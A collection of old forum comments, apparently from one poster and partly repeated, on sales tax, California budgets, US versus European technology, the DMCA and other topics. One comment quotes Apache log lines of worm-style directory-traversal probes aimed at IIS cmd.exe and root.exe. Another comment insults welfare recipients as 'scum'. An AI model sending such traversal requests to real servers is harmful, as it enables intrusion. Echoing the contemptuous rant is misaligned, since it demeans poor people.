Maybe they should look at the top 10 grossing tours (US) from this year. According to Billboard they are:
1. U2 ($260M) 2. The Eagles ($117M) 3. Neil Diamond ($71M) 4. Kenny Chesney ($63M) 5. Sir Paul Mccartney ($60M) 6. Rod Stewart ($49M) 7. Elton John ($45.5M) 8. Dave Matthews Band ($45M) 9. Jimmy Buffett ($41M) 10. Green Day ($36.5M)
Hmm...I'm not sure about Kenny Chesney, but all of the other acts are at least 10 years old. I hate the Eagles as much as the next guy, but the mass marketed music today is Busch League, laughable.
First of all, the money does not go to money heaven. It goes into the pockets of the hard working people that earned it in the first place. Those people can do two basic things with it: spend it, or save it. If they spend it, it pumps more money into the economy creating new jobs. If they save it, assuming that they put it in a bank or invest the savings, they also pump more money into the economy. If they put the money into a bank, the bank is then free to lend the money out to finance companies, mortgages, etc. Investing does the same in a direct way.
If you live in a community that bases it's financial foundation on sales tax, then you lose. But it is not a zero sum game. The money saved on taxes multiplies and more people win than lose.
You mention special interests...That seems funny to me. You are arguing for a tax that props up inefficient business at the expense of the public. That sounds a lot like a special interest to me.
The invention of the automobile drove a lot of blacksmiths out of business. No more horseshoes. Was that a bad thing? Times change, people think of better ways to do things and some businesses lose jobs as a result.
1. A grocery store? That is a horrible example. Do you know of an online grocery store that does not have a local presence in your state that is less expensive than local grocery store prices including sales tax?
2. Call me crazy, but I bet online stores paying shipping costs on inventory.
There is one tiny point you are confused about. US debt is in the form of US government securities. There is absolutely no credit risk in US government securities. None.
Sales tax is supposed to be used to pay for local services used by local business. A company selling over the internet does not use these services except for in the state where it is located, so why should it have to pay sales tax in other states?
On top of that, if local business cannot compete, then they should go out of business. Sounds harsh, but propping up a business that cannot compete by taxing a more efficient business does not help anyone in the LONG run. Jobs lost at local businesses will be replaced with jobs in other areas (shipping, programmers) and the average worker will be more productive, which does help in the long run.
Sometimes people will be willing to pay more for the ability to go to a local store. I go over to Fry's every couple of weeks just to look around, and I am usually willing to pay a little more for the convenience.
Also, is it fair to internet companies that customers in local stores don't have to pay for shipping? Should we charge some extra tax in local stores to subsidize internet shipping costs?
Davis came in and increased state spending 37% in his first 2 years in office. He also came in with a budget surplus of nearly $7 billion. The surplus proves nothing because of the economy, etc.
True. And look where California is now. 30 billion in the hole. Billion!!! California is a perfect example of liberal ideology come to fruition. Take money from people that work hard all of their lives and give it to scum who sit on their asses, do nothing with their lives but makes babies, and and feel that they have some inate "right" to government services. The reason that conservative media is so popular is that the liberal agenda sickens most working americans.
Personally, I make a very good salary and end up paying close to half of my income in taxes ( once you factor in the outrageous california state income tax). I went to public school and I am intimately familiar with the people I am supporting with those taxes. Living in Cali for the last few years has turned me into a conservative. By the way, I have a new wellfare plan for America. Go to school, work hard and get a job. If you can't find a job, break rocks into smaller rocks at a government job center and take min wage. If you don't want to do that, get a job or kiss my ass.
I have had a lot of problems with Linux as well lately. I think there is some sort of problem with my Apache logs. They keep filling up my disk space with cryptic messages like:
OK, that is exactly my point. That is cool, but it is not way ahead of the US. It is about exactly the same. The only thing that we don't have over here is SMS (at least it is not widespread). I've talked about that with other americans and nobody seems to care at all.
Look, I know the sky is falling and all. Every time I go to Europe, I read about how the US is finished and the rest of the world is going to pass it by. I've been reading this for the last 20 years. I think it is hilarious.
You are living in a dream world if you think that the US government has not been heavily influenced by corporations for at least the last 100 years. I agree with you 100% that "The governement shouldn't be influenced by companies, it should be influenced by people" and I think that people should fight to protect individual rights. And I am definitely not saying that we shouldn't worry about the DMCA, etc. just because it is only one law.
What I am trying to say is just because the DMCA was passed doesn't mean the US is going down the tubes. It also doesn't mean that we are falling behind in the digital age. It just means that a stupid law was passed that probably won't even hold up in court.
And by the way, I really don't hate Europeans at all. I just get sick of people telling me how horrible the US is all the time. I just don't buy it.
Yeah, right. If it wasn't for the USA, all the Europeans would still be sending messages by carrier pigeon.
It just amazes me that one misguided law gets passed and everyone thinks that the US Government has taken away all of our personal rights. Yes, we have some idiots in our government. Who doesn't? I wonder if the US Goverment is more influenced by large tech companies because the vast majority of large tech companies are in the US?
You are absolutely out of your mind if you think that the US is behind the times in terms of the digital era.
I completely agree with you and I think that your analogy is better than mine. I was talking more about this individual case and computer crime than government regulation. As far as the proposed legislation, you hit the nail on the head. And to tell you the truth, that is much more important than this individual's case.
When I was growing up, my parents used to leave a key to the house hidden under a rock in the backyard in case I got home and they weren't there. I know other people that did the same thing. Some people might say this is a common and well known security hole in single family dwellings.
Now if someone found that security hole, would it be ok for them to take the key and make a copy? Would it be ok for them to repeatedly break into my house to take my personal posessions? Would it be ok to distribute the key to others? For a profit? Would it be ok as long as they told me about it later and told me how they could make my house more secure?
The existance of a security hole does not make it ok to steal. That's the bottom line. Pick another cause to fight for.
Does flash/shockwave have the ability to open streams back to the server for updates (a good example is espn's gamecast - near realtime baseball game info updates)? Are the standard libraries on par with java? I am sure that Flash/Shockwave is better than java for flashing pretty pictures on the screen, but what about for real applications (not just animations)?
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Maybe they should look at the top 10 grossing tours (US) from this year. According to Billboard they are:
1. U2 ($260M)
2. The Eagles ($117M)
3. Neil Diamond ($71M)
4. Kenny Chesney ($63M)
5. Sir Paul Mccartney ($60M)
6. Rod Stewart ($49M)
7. Elton John ($45.5M)
8. Dave Matthews Band ($45M)
9. Jimmy Buffett ($41M)
10. Green Day ($36.5M)
Hmm...I'm not sure about Kenny Chesney, but all of the other acts are at least 10 years old. I hate the Eagles as much as the next guy, but the mass marketed music today is Busch League, laughable.
Command-shift-3 will put a nice screen shot on the desktop. I just used it last week to fix a problem on my girlfriend's shiny new powerbook.
Newer versions of Norton allow you to set the program to automagically download updates.
If you really love him, you would short sell some SCO stock.
Oh yeah, and my girlfriend lives in Canada...
Well, they aren't as crappy now that they are owned by ford!
First of all, the money does not go to money heaven. It goes into the pockets of the hard working people that earned it in the first place. Those people can do two basic things with it: spend it, or save it. If they spend it, it pumps more money into the economy creating new jobs. If they save it, assuming that they put it in a bank or invest the savings, they also pump more money into the economy. If they put the money into a bank, the bank is then free to lend the money out to finance companies, mortgages, etc. Investing does the same in a direct way.
If you live in a community that bases it's financial foundation on sales tax, then you lose. But it is not a zero sum game. The money saved on taxes multiplies and more people win than lose.
You mention special interests...That seems funny to me. You are arguing for a tax that props up inefficient business at the expense of the public. That sounds a lot like a special interest to me.
The invention of the automobile drove a lot of blacksmiths out of business. No more horseshoes. Was that a bad thing? Times change, people think of better ways to do things and some businesses lose jobs as a result.
1. A grocery store? That is a horrible example. Do you know of an online grocery store that does not have a local presence in your state that is less expensive than local grocery store prices including sales tax?
2. Call me crazy, but I bet online stores paying shipping costs on inventory.
There is one tiny point you are confused about. US debt is in the form of US government securities. There is absolutely no credit risk in US government securities. None.
Sales tax is supposed to be used to pay for local services used by local business. A company selling over the internet does not use these services except for in the state where it is located, so why should it have to pay sales tax in other states?
On top of that, if local business cannot compete, then they should go out of business. Sounds harsh, but propping up a business that cannot compete by taxing a more efficient business does not help anyone in the LONG run. Jobs lost at local businesses will be replaced with jobs in other areas (shipping, programmers) and the average worker will be more productive, which does help in the long run.
Sometimes people will be willing to pay more for the ability to go to a local store. I go over to Fry's every couple of weeks just to look around, and I am usually willing to pay a little more for the convenience.
Also, is it fair to internet companies that customers in local stores don't have to pay for shipping? Should we charge some extra tax in local stores to subsidize internet shipping costs?
Davis came in and increased state spending 37% in his first 2 years in office.
He also came in with a budget surplus of nearly $7 billion. The surplus proves nothing because of the economy, etc.
But 37%?
True. And look where California is now. 30 billion in the hole. Billion!!! California is a perfect example of liberal ideology come to fruition. Take money from people that work hard all of their lives and give it to scum who sit on their asses, do nothing with their lives but makes babies, and and feel that they have some inate "right" to government services. The reason that conservative media is so popular is that the liberal agenda sickens most working americans. Personally, I make a very good salary and end up paying close to half of my income in taxes ( once you factor in the outrageous california state income tax). I went to public school and I am intimately familiar with the people I am supporting with those taxes. Living in Cali for the last few years has turned me into a conservative. By the way, I have a new wellfare plan for America. Go to school, work hard and get a job. If you can't find a job, break rocks into smaller rocks at a government job center and take min wage. If you don't want to do that, get a job or kiss my ass.
I have had a lot of problems with Linux as well lately. I think there is some sort of problem with my Apache logs. They keep filling up my disk space with cryptic messages like:
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+d ir HTTP/1.0" 404 232
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
/scripts/root.exe?/c+dir HTTP/1.0" 404 210
[17/Dec/2001:13:22:54 -0800] "GET
[17/Dec/2001:13:23:03 -0800] "GET
[17/Dec/2001:13:23:08 -0800] "GET
[17/Dec/2001:13:23:14 -0800] "GET
[17/Dec/2001:13:23:19 -0800] "GET
[17/Dec/2001:13:23:24 -0800] "GET
[17/Dec/2001:13:23:30 -0800] "GET
[17/Dec/2001:13:23:35 -0800] "GET
[17/Dec/2001:13:52:05 -0800] "GET
There are thousands and thousands of these messages. Anyone have an idea what could be causing that?
If I don't figure it out soon, I am going to ditch Apache for IIS. I just can't take bugs like this anymore.
I'll tell you who did it. It's that damn sasquatch.
in Linux:
rob@marley:~$locate my_file <return>
rob@marley: grep -r 'my_text' * <return>
...that's all I have to say!
Anyone that thinks about any such bill for 2 seconds will realize that it would cost US companies billions when the backdoor was cracked.
OK, that is exactly my point. That is cool, but it is not way ahead of the US. It is about exactly the same. The only thing that we don't have over here is SMS (at least it is not widespread). I've talked about that with other americans and nobody seems to care at all.
Is Charles Babbage the best you can come up with?
This sounds like blatant European propoganda to me.
So how are you ahead in wireless?
A Euro standard?
Wireless messaging?
And telecom?
For some reason I never thought of per minute charges for local calls as being way ahead of the US.
I feel sorry for you because you obviously have no clue as to what is going on in the US.
Look, I know the sky is falling and all. Every time I go to Europe, I read about how the US is finished and the rest of the world is going to pass it by. I've been reading this for the last 20 years. I think it is hilarious.
You are living in a dream world if you think that the US government has not been heavily influenced by corporations for at least the last 100 years. I agree with you 100% that "The governement shouldn't be influenced by companies, it should be influenced by people" and I think that people should fight to protect individual rights. And I am definitely not saying that we shouldn't worry about the DMCA, etc. just because it is only one law.
What I am trying to say is just because the DMCA was passed doesn't mean the US is going down the tubes. It also doesn't mean that we are falling behind in the digital age. It just means that a stupid law was passed that probably won't even hold up in court.
And by the way, I really don't hate Europeans at all. I just get sick of people telling me how horrible the US is all the time. I just don't buy it.
Yeah, right. If it wasn't for the USA, all the Europeans would still be sending messages by carrier pigeon.
It just amazes me that one misguided law gets passed and everyone thinks that the US Government has taken away all of our personal rights. Yes, we have some idiots in our government. Who doesn't? I wonder if the US Goverment is more influenced by large tech companies because the vast majority of large tech companies are in the US?
You are absolutely out of your mind if you think that the US is behind the times in terms of the digital era.
We made the damn digital era.
I completely agree with you and I think that your analogy is better than mine. I was talking more about this individual case and computer crime than government regulation. As far as the proposed legislation, you hit the nail on the head. And to tell you the truth, that is much more important than this individual's case.
These mothers should mod you up!
When I was growing up, my parents used to leave a key to the house hidden under a rock in the backyard in case I got home and they weren't there. I know other people that did the same thing. Some people might say this is a common and well known security hole in single family dwellings.
Now if someone found that security hole, would it be ok for them to take the key and make a copy? Would it be ok for them to repeatedly break into my house to take my personal posessions? Would it be ok to distribute the key to others? For a profit? Would it be ok as long as they told me about it later and told me how they could make my house more secure?
The existance of a security hole does not make it ok to steal. That's the bottom line. Pick another cause to fight for.
Does flash/shockwave have the ability to open streams back to the server for updates (a good example is espn's gamecast - near realtime baseball game info updates)? Are the standard libraries on par with java? I am sure that Flash/Shockwave is better than java for flashing pretty pictures on the screen, but what about for real applications (not just animations)?
So it is not just me! I swear, every time I go there it is just vicious the next day.
I think this is hilarious...
from the bottom of the page:
If you want to continue to use existing Netscape-style plug-ins on Internet Explorer 6 you should:
1...
2. Rewrite existing Netscape-style plug-ins using ActiveX (or dual author to support both Netscape-style plug-ins and ActiveX controls).
My grandmother uses ie. I guess she'd better get
busy re-writing her Netscape plugins!